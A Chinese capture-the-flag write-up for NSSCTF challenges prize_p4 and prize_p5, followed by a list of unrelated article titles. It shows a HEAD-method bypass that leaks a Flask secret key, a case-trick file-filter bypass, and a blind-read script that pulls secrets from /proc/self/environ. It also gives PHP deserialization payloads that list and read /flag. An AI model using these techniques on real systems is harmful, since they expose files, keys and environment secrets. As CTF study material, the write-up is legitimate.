prize_p4

打开后发现一个url和data登录框,随便输入一下看一看是啥。

发现了一个得到key的方法。

@app.route('/getkey', methods=["GET"])def getkey():if request.method != "GET":session["key"]=SECRET_KEY

访问/getkey,然后判断是否为GET访问,不是的话就让session[key]等于key。

可以用与GET相似的访问方法HEAD访问,绕过GET判断。

得到key,然后伪造session。

得到源码:

from flask import Flask, request, session, render_template, url_for,redirect,render_template_stringimport base64import urllib.requestimport uuidimport flagSECRET_KEY=str(uuid.uuid4())app = Flask(__name__)app.config.update(dict(SECRET_KEY=SECRET_KEY,))#src in /app@app.route('/')@app.route('/index',methods=['GET'])def index():return render_template("index.html")@app.route('/get_data', methods=["GET",'POST'])def get_data():data = request.form.get('data', '123')if type(data) is str:data=data.encode('utf8')url = request.form.get('url', 'http://127.0.0.1:8888/')if data and url:session['data'] = datasession['url'] = urlsession["admin"]=Falsereturn redirect(url_for('home'))return redirect(url_for('/'))@app.route('/home', methods=["GET"])def home():if session.get("admin",False):return render_template_string(open(__file__).read())else:return render_template("home.html",data=session.get('data','Not find data...'))@app.route('/getkey', methods=["GET"])def getkey():if request.method != "GET":session["key"]=SECRET_KEYreturn render_template_string('''@app.route('/getkey', methods=["GET"])def getkey():if request.method != "GET":session["key"]=SECRET_KEY''')@app.route('/get_hindd_result', methods=["GET"])def get_hindd_result():if session['data'] and session['url']:if 'file:' in session['url']:return "no no no"data=(session['data']).decode('utf8')url_text=urllib.request.urlopen(session['url']).read().decode('utf8')if url_text in data or data in url_text:return "you get it"return "what ???"@app.route('/getflag', methods=["GET"])def get_flag():res = flag.waf(request)return resif __name__ == '__main__':app.run(host='0.0.0.0', debug=False, port=8888)

一点一点分析。

1.首先是访问/或者/index,返还渲染后的index.html。

2.访问/get_data,这个没啥特殊的,就是给session中的data和url以及admin赋值,可控。

3.访问/home,判断session中的admin是否为false,不是的话返回源码。

4.访问/getkey,这个就是一个获得key的途径,没啥说的。

5.访问/get_hindd_result,先判断session[url]里是否有file(大写即可绕过),有的话直接返还no no no,否则的话就是给data赋值,然后读取session['url'])文件,值赋给url_text,最后判断data和url_text是否相互包含。

6.访问/getflag,然后是一个waf,返回res。

我的第一想法是从/getflag中得到flag,但由于读取文件后不会回显文件的内容,行不通,想了一想,环境变量中可能存在flag,用NSSCTF试了一下,返回you get it,所以可以直接盲注得到flag,任意文件读取加盲注。

脚本思路:控制session,对flag一个字符一个字符爆破,先访问/get_data,然后得到session后继续访问/get_hindd_result,用回显判断传入的部分flag是否正确,正确的话继续下一个字符的爆破直至到}。(环境变量在文件FILE:///proc/self/environ中)

脚本:

import base64
import requestss = "}-0123456789abcdefghijklmnopqrstuvwxyz"
flag = 'NSSCTF{'
while 1:for i in s:temp_flag = flag + idata = {'url':'FILE:///proc/self/environ','data': temp_flag,'submit':'%E6%8F%90%E4%BA%A4'}res = requests.Session()res.get(url='http://1.14.71.254:28556//get_data',data=data)#print(str(res.cookies.values())[2:-2])result = requests.get(url="http://1.14.71.254:28556//get_hindd_result",cookies={"session": str(res.cookies.values())[2:-2]})if "you get it" in result.text:flag += iprint("flag", flag)breakif flag[-1] == '}':break

prize_p5

php反序列化,php原生类利用。

发现了destruct方法直接可以利用php原生类。

首先查找flag的位置。

Paylaod:

?cata=O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:11:"glob:///*f*";}

发现其是/flag文件。

直接读取,发现object被过滤,利用编码绕过即可。

将其中的S大写,然后长度15变回13即可。

Payload:

?cata=O:9:"catalogue":2:{s:5:"class";S:13:"SplFileOb\6Aect";s:4:"data";s:5:"/flag";}

NSSCTF prize_p4-5相关推荐

  1. NSSCTF部分复现

    NSSCTF WEB ez_rce 看版本,百度一下有目录穿越漏洞 Apache HTTP Server 2.4.49 路径穿越漏洞复现及利用_Tauil的博客-CSDN博客 构造payload 这里 ...

  2. NSSCTF web学习

    目录 [CISCN 2019华东南]Web11 [NISACTF 2022]bingdundun~ [NISACTF 2022]babyserialize [NISACTF 2022]join-us ...

  3. [NSSCTF][SCTF 2021]WEB复现

    感谢NSSCTF提供复现环境 loginme middleware.go package middlewareimport ("github.com/gin-gonic/gin" ...

  4. NSSCTF刷题wp——Crypto入门

    NSSCCTF Crypto 探索 Crypto入门 [鹤城杯 2021]easy_crypto ID:453 公正公正公正诚信文明公正民主公正法治法治诚信民主自由敬业公正友善公正平等平等法治民主平等 ...

  5. NSSCTF刷题wp——单表替换密码

    NSSCTF Crypto 模块 单表替换密码 [HGAME 2022 week1]Matryoshka ID:1855 打开Matryoshka.txt,发现是一堆点,看标签可能是Braille盲文 ...

  6. NSSCTF刷题wp——常用编码

    NSSCTF Crypto 探索 常用编码 前两个题ID303,287在入门时做过了,详见另一篇wp链接 [AFCTF 2018]BASE ID:463 打开文件直接麻了,如果人工解码,估计黄花菜都要 ...

  7. [NSSCTF 2022 Spring Recruit] Crypto wp

    [NSSCTF 2022 Spring Recruit] Crypto wp classic 题目 UZZJAM{UIXETGR7TMWD42SKTCWEP4AG_mhrlmshnayfihzl} 第 ...

  8. NSSCTF web题记录

    目录 web [GXYCTF 2019]BabyUpload [NISACTF 2022]babyserialize [NISACTF 2022]popchains [NSSRound#4 SWPU] ...

  9. NSSCTF Round#4 Web WP

    前言 整体Web题目不是很难,正适合我这个菜鸡打,也是我第一次在博客上发WP就好好写写,之前的比赛都没做出几道题所以没机会写,之后会更多地更新博客. 1zweb 这道题被非预期解了,查看文件可以直接文 ...

最新文章

  1. 分享产品发布的10条经验
  2. 关闭Eclipse的控制台console自动跳出
  3. python列表元素零的移动_python列表多行
  4. 识别Win10系统两种方法
  5. 手把手教你剖析vue响应式原理,监听数据不再迷茫
  6. C/C++的readdir和readdir_r函数(遍历目录)
  7. ganlgia-rrdcached
  8. lumen mysql 事务_数据库事务不执行回滚?
  9. 常见的十几种编程语言介绍
  10. 斯坦福大学公开课 :机器学习课程笔记-[第1集] 机器学习的动机与应用
  11. 我想吃掉你的胰脏--影片--观后感
  12. 我退休金只有2000块钱能去海南三亚养老吗?
  13. WPS word 如何取消定义网格线?无法修改行间距如何解决?
  14. C# MediaPlayer的详细用法
  15. 还在为本地到服务器图片的上传下达而烦恼吗?使用base64及flask框架实现服务端部署服务器! 本地客户端图片的上传下达!
  16. 规范互联网信息环境《互联网宗教信息服务管理办法》发布
  17. 高端大气上档次的新型界面
  18. Using insecure protocols with repositories, without explicit opt-in, is unsupported.解决方案
  19. 三种方式实现双飞翼布局
  20. #acm#No Brainer

热门文章

  1. 湖南科技超级计算机,超级计算机:科技创新的“发动机”
  2. 程序包无效 “CRX_HEADER_INVALID”
  3. application.properties
  4. 无限法则台湾服务器什么时间开测,《无限法则》什么时候可以玩 公测上线时间介绍...
  5. c语言程序设计杨东芳答案,基于DDS的数发生器毕业设计论文.doc
  6. 最新C++ 百万并发网络通信引擎架构与实现视频课程完整分享
  7. 用python画苹果_Python爬取京东Iphone X用户评论并绘制词云
  8. (POJ - 1456)Supermarket(并查集)
  9. cuisineroyale服务器所在位置,cuisine royale配置要求是什么?最低配置要求介绍
  10. 各大厂图鉴:阿里:加班多,华为:狼性;拼多多:暴发户